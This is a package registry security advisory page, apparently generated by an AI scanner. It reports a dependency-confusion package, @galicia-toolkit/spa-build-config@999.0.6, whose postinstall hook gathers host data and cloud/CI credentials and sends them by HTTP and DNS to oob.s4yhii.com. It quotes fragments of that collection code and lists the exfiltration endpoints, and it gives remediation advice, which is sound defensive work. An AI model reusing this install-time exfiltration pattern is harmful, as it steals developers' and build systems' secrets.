registry / Credential exfiltration / @galicia-toolkit/spa-build-config / 999.0.6

@galicia-toolkit/spa-build-config@999.0.6

Security research — dependency confusion PoC (authorized bug bounty, Banco Galicia program)

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 15d ago · by lpm-firewall-ai

The install lifecycle automatically activates code that collects credentials and host information and transmits it to an external endpoint. This is concrete credential and data exfiltration, so publication should be blocked.

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

Automatic postinstall execution during package installation.

Impact

Credentials and identifying system information may be exposed to an external operator.

Mechanism

The script reads system details and selected environment values, serializes them, and sends them to an external HTTP endpoint; it also issues DNS queries containing encoded host and username data.

Attack narrative

Installing the package automatically runs a script that gathers host details and environment values, including cloud and CI credentials. It transmits the collected data to an external host and sends encoded hostname and username information through DNS queries.

AI rationale

Evidence

package.jsonpostinstall.js

Network endpoints4

oob.s4yhii.com:9999*.h.dc.oob.s4yhii.com*.u.dc.oob.s4yhii.com*.m.dc.oob.s4yhii.com

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs postinstall.js automatically after installation.
postinstall.js collects host identity, network addresses, selected environment values including cloud and CI credentials, and environment variable names.
postinstall.js sends the collected data in an HTTP POST to an external host.
postinstall.js also sends encoded hostname and username data through DNS queries.

Evidence against

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 2 file(s), 2.70 KB of source

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node postinstall.js || true" } }

High

Suspicious Lifecycle Evidence

package.json runs postinstall.js automatically after installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

1const os = require("os"); L2: const dns = require("dns"); L3: L4: const info = { L5: pkg: require("./package.json").name, L6: hostname: os.hostname(), L7: platform: os.platform(), ... L18: L19: try { info.username = os.userInfo().username; } catch(e) { info.username = process.env.USER || process.env.USERNAME || "unknown"; } L20: try { info.homedir = os.homedir(); } catch(e) {} ... L61: req.on("error", function(){}); L62: req.write(body);

Critical

Dns Exfiltration

Source appears to send environment or credential material through DNS lookups.

postinstall.jsView on unpkg · L1

•Trigger-reachable chain: scripts.postinstall -> postinstall.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

postinstall.jsView on unpkg

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

postinstall.jsView on unpkg · L1

•matchType = malicious_source_fingerprint_signature signature = bc68a60ec404aedf signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @galicia-toolkit/tag-manager@999.0.6 matchedPath = postinstall.js matchedIdentity = npm:[redacted]:999.0.6 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

postinstall.jsView on unpkg

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node postinstall.js || true" } }

High

Suspicious Lifecycle Evidence

package.json runs postinstall.js automatically after installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node postinstall.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

Findings

2 Critical4 High4 Medium2 Low

CriticalDns Exfiltrationpostinstall.js

CriticalTrigger Reachable Dangerous Capabilitypostinstall.js

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationpostinstall.js

HighKnown Malware Source Fingerprint Signaturepostinstall.js

HighSuspicious Lifecycle Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to @galicia-toolkit/spa-build-config@999.0.6.

See all versions of @galicia-toolkit/spa-build-config for other recorded verdicts.

Avoid installing @galicia-toolkit/spa-build-config@999.0.6. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-12 06:00:06.272Z (UTC).

Source advisory published: 2026-10-08 15:19:04.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

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Other credential exfiltration packages

Related packages

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Other credential exfiltration packages

Source & flagged code